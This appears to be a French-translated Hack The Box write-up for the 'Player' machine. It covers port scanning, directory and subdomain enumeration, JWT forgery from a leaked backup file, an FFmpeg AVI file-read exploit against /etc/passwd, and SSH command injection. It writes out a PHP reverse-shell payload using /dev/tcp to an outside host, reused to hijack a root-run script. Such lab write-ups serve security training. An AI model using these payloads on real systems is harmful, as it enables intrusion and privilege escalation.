Hack The Box - Walkthrough Player. FFmpeg exploit, JWT et diverses listes Web

image

Je continue de publier des solutions envoyées pour un traitement ultérieur à partir du site HackTheBox . J'espère que cela aidera au moins quelqu'un à se développer dans le domaine de la sécurité de l'information. Dans cet article, nous allons parcourir le JWT, effectuer des énumérations Web telles que la recherche de répertoires, de sous-domaines et de fichiers de sauvegarde, nous exploiterons SSRF dans l'encodeur FFmpeg et RCE dans SSH.

La connexion au laboratoire se fait via VPN. Il est recommandé de ne pas se connecter à partir d'un ordinateur professionnel ou d'un hôte où les données importantes pour vous sont disponibles, car vous vous retrouvez sur un réseau privé avec des personnes qui connaissent quelque chose dans le domaine de la sécurité de l'information :)

Information organisationnelle
Surtout pour ceux qui veulent apprendre quelque chose de nouveau et se développer dans l'un des domaines de l'information et de la sécurité informatique, j'écrirai et parlerai des catégories suivantes:

  • PWN;
  • cryptographie (Crypto);
  • technologies de réseau (réseau);
  • reverse (Reverse Engineering);
  • stéganographie (Stegano);
  • recherche et exploitation des vulnérabilités WEB.

En plus de cela, je partagerai mon expérience en criminalistique informatique, analyse de logiciels malveillants et micrologiciels, attaques sur les réseaux sans fil et les réseaux locaux, réalisation de pentests et écriture d'exploits.

Afin que vous puissiez vous renseigner sur les nouveaux articles, logiciels et autres informations, j'ai créé une chaîne dans Telegram et un groupe pour discuter de tout problème dans le domaine de l'ICD. Aussi, je considérerai personnellement vos demandes, questions, suggestions et recommandations personnelles et répondrai à tout le monde .

Toutes les informations sont fournies à des fins éducatives uniquement. L'auteur de ce document n'assume aucune responsabilité pour tout dommage causé à quelqu'un du fait de l'utilisation des connaissances et des méthodes obtenues à la suite de l'étude de ce document.

Intelligence


Balayage de port


Cette machine a une adresse IP de 10.10.10.145, que j'ajoute à / etc / hosts.

10.10.10.145 player.htb 

Tout d'abord, nous analysons les ports ouverts. Puisqu'il faut beaucoup de temps pour analyser tous les ports avec nmap, je vais d'abord le faire avec masscan. Nous analysons tous les ports TCP et UDP à partir de l'interface tun0 à une vitesse de 1000 paquets par seconde.

 masscan -e tun0 -p1-65535,U:1-65535 10.10.10.145 --rate=1000 

image

Ensuite, vous devez collecter plus d'informations sur les ports connus. Pour ce faire, utilisez nmap avec l'option -A.

 nmap -A player.htb -p22,80,6686 

image

Ainsi, l'hôte exécute SSH sur les ports 22 et 6686, ainsi que le serveur Web Apache sur 80.

Énumérations Web


Tout d'abord, allez regarder le web. Mais hélas, il n'y a rien d'intéressant.

image

Dans ce cas, vous devez généralement analyser les répertoires. Pour ce faire, utilisez un gobuster rapide. Dans les paramètres nous indiquons que nous voulons scanner les répertoires (dir), indiquer le site (-u), la liste des mots (-w), les extensions qui nous intéressent (-x), le nombre de threads (-t).

 gobuster dir -t 128 -u http://player.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php 

De ces répertoires, un lanceur intéressant. Il indique qu'il s'agit d'un service de montage vidéo et que nous avons besoin d'un e-mail valide.

image

Après avoir joué un peu avec le formulaire, j'ai remarqué qu'il envoie des données à la page /launcher/dee8dc8a47256c64630d803a4c40786c.php, là, il vérifie et redirige.

image

De tout ce que nous avons, rien ni rien ne nous donnera. La prochaine étape de la liste est la recherche de sous-domaines. Récemment, après m'avoir conseillé d'utiliser wfuzz, je l'utilise et conseille la même chose aux autres. Spécifiez l'en-tête (-H), le dictionnaire (-w), l'URL (-u) et excluez le code de réponse 403 (--hc 403).

 wfuzz -H 'HOST:FUZZ.player.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u player.htb --hc 403 

image

Ainsi, nous avons trouvé trois sous-domaines qui doivent également être ajoutés à / etc / hosts.

 10.10.10.145 dev.player.htb 10.10.10.145 staging.player.htb 10.10.10.145 chat.player.htb 

Sur dev, il n'y a qu'un formulaire d'autorisation, sur le chat uniquement le chat inutile et sur la mise en place d'un formulaire pour certains contacts.

image

image

image

Après avoir un peu testé le formulaire, tout ce que nous avons est une redirection vers 501.php et quelques données avec l'erreur indiquée.

image

image

image

Mais encore une fois, ce n'était pas suffisant. De plus, ce que j'oublie habituellement, j'ai décidé de vérifier les sauvegardes de fichiers. Il a donc été découvert /launcher/dee8dc8a47256c64630d803a4c40786c.php~

image

Dans ce code, le JWT (jeton) est décodé et vérifié. Selon la vérification, une redirection vers l'une des pages se produit. Si le jeton n'est pas fourni, nous lui sommes attribués.

Puisque nous connaissons la clé et la valeur finale, nous pouvons l'encoder et obtenir un jeton valide. Cela peut être fait en utilisant ce site .

image

Nous obtenons un jeton codé. Et remplacez-le dans la demande.

image

image

En conséquence, un formulaire de téléchargement de fichier multimédia nous a été présenté. Après avoir téléchargé l'image, on nous a proposé de télécharger le fichier multimédia au format AVI.

image

Point d'entrée


Depuis AVI est créé à partir de notre fichier, nous pouvons utiliser un exploit qui vous permet de lire des fichiers. Le code peut être pris ici . Voyons cela et voyons le fichier / etc / passwd.

image

Voyons cela et voyons le fichier / etc / passwd.

 python3 gen_avi.py file:///etc/passwd passwd.avi 

Après avoir téléchargé et ouvert le fichier, nous observons le fichier / etc / passwd.

image

Puisque nous pouvons lire des fichiers, nous devons collecter une liste de ceux que nous connaissons. Nous rappelons les erreurs dans le fichier contact.php. Lisons tous les fichiers qui y sont répertoriés.

image

Et il n'y avait rien d'intéressant dans le fichier de contact, le correctif n'a pas pu être lu, mais dans service_config nous trouvons le login et le mot de passe.

image

Essayons de nous connecter à dev.player.htb avec eux - les données ne correspondent pas, mais il y a deux autres SSH. Le port 22 est un échec, mais sur 6686 nous obtenons un shell.

image

UTILISATEUR


Mais le shell est limité, et je me suis souvenu de la version 7.2 et j'ai décidé de vérifier les exploits.

image

Ainsi, si nous avons des informations d'identification, nous pouvons exécuter l'injection de commande.

image

image

Ils nous fournissent également une liste de commandes pour lire et écrire des fichiers. Nous lisons le drapeau de l'utilisateur.

image

RACINE


Maintenant, nous devrions avoir suffisamment de droits pour lire fix.php

image

Nous y trouvons des données intéressantes qui correspondent déjà à dev.player.htb. Et là, nous trouvons le projet.

image

Et ce fichier est accessible via l'accès à partir de l'environnement externe. Autrement dit, nous pouvons placer la coquille.

image

Pour ce faire, ouvrez votre projet.

image

Ensuite, créez un fichier avec le shell suivant.

 <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.161/4321 0>&1'"); ?> 

image

Ouvrez maintenant la session à l'aide de netcat.

 nc -lvp 4321 

Ensuite, nous passons à notre dossier.

image

image

Après avoir terminé les énumérations et vérifié quelques autres options, nous nous arrêtons à la vérification des processus. Grâce à pspy64, vous pouvez déterminer que le script buff.php est exécuté de temps en temps avec un UID de 0, c'est-à-dire en tant que root.

image

Voyons ce que fait le script.

image

Lorsque nous essayons d'ajouter du code à ce fichier, nous rencontrons un problème - nous n'avons pas de droits.

image

Mais dans le script, un autre fichier est inclus, dans lequel nous avons le droit d'écrire.

image

Nous allons écrire le shell déjà utilisé par nous dans ce fichier, et dans netcat, nous attendons la connexion.

image

De cette façon, nous obtenons un maximum de privilèges.

Vous pouvez nous rejoindre sur Telegram . Créons une communauté dans laquelle il y aura des gens qui connaissent bien de nombreux domaines de l'informatique, puis nous pouvons toujours nous entraider pour tout problème informatique et de sécurité de l'information.

Source: https://habr.com/ru/post/fr484568/


All Articles